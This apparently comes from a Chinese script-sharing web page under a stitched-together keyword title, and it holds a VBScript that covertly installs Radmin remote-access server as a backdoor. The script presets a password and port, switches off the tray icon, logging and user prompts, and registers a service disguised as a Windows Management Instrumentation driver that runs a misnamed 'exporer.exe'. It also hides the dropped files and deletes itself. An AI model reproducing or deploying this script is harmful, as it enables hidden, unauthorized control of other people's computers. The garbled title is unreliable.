历任国务院总理,全容杓,铣刀头装配图
on error resume next
const hkey_local_machine = &h80000002
strcomputer = "."
set stdout = wscript.stdout
set oreg=getobject("winmgmts:{impersonationlevel=impersonate}!\\" &_
strcomputer & "\root\default:stdregprov")
strkeypath = "system\radmin"
oreg.createkey hkey_local_machine,strkeypath
strkeypath = "system\radmin\v2.0"
oreg.createkey hkey_local_machine,strkeypath
strkeypath = "system\radmin\v2.0\server"
oreg.createkey hkey_local_machine,strkeypath
strkeypath = "system\radmin\v2.0\server\iplist"
oreg.createkey hkey_local_machine,strkeypath
strkeypath = "system\radmin\v2.0\server\parameters"
oreg.createkey hkey_local_machine,strkeypath
set objregistry = getobject("winmgmts:root\default:stdregprov")
strpath = "system\radmin\v2.0\server\parameters"
ubinary = array(0,0,0,0)
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"askuser",ubinary)
ubinary = array(0,0,0,0)
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"autoallow",ubinary)
ubinary = array(1,0,0,0)
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"disabletrayicon",ubinary)
ubinary = array(0,0,0,0)
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"enableeventlog",ubinary)
ubinary = array(0,0,0,0)
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"enablelogfile",ubinary)
ubinary = array(0,0,0,0)
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"filterip",ubinary)
ubinary = array(0,0,0,0)
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"ntauthenabled",ubinary)
ubinary = array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119) //此为注册表导出十六进制转为十进制数据 pass:241241241
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"parameter",ubinary) //radmin密码
ubinary = array(5,4,0,0) //端口：1029
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"port",ubinary)
ubinary = array(10,0,0,0)
return = objregistry.setbinaryvalue(hkey_local_machine,strpath,"timeout",ubinary)
set oreg=getobject("winmgmts:{impersonationlevel=impersonate}!\\" &strcomputer &"\root\default:stdregprov")
strkeypath = "system\radmin\v2.0\server\parameters"
strvaluename = "logfilepath"
strvalue = "c:\logfile.txt"
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("sc.exe create winmanagehelp binpath= %systemroot%\system32\exporer.exe start= auto",0)
oreg.setstringvalue hkey_local_machine,strkeypath,strvaluename,strvalue
set oreg=getobject("winmgmts:{impersonationlevel=impersonate}!\\" &strcomputer &"\root\default:stdregprov")
strkeypath = "system\controlset001\services\winmanagehelp"
strvaluename = "description"
strvalue = "windows media playerwindows management instrumentation player drivers."
oreg.setstringvalue hkey_local_machine,strkeypath,strvaluename,strvalue
strvaluename = "displayname"
strvalue = "windows management instrumentation player drivers"
oreg.setstringvalue hkey_local_machine,strkeypath,strvaluename,strvalue
strvaluename = "imagepath"
strvalue = "c:\windows\system32\exporer.exe /service"
oreg.setexpandedstringvalue hkey_local_machine,strkeypath,strvaluename,strvalue
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("net start winmanagehelp",0)
b=wshshell.run ("attrib +r +h +s %systemroot%\system32\exporer.exe",0)
c=wshshell.run ("attrib +r +h +s %systemroot%\system32\admdll.dll",0)
d=wshshell.run ("attrib +r +h +s %systemroot%\system32\raddrv.dll",0)
createobject("scripting.filesystemobject").deletefile(wscript.scriptname) //自删除
最好的删除代码不错
createobject("scripting.filesystemobject").deletefile(script.scriptname)
如对本文有疑问，请在下面进行留言讨论，广大热心网友会与你互动！！
点击进行留言回复
我要评论
网友评论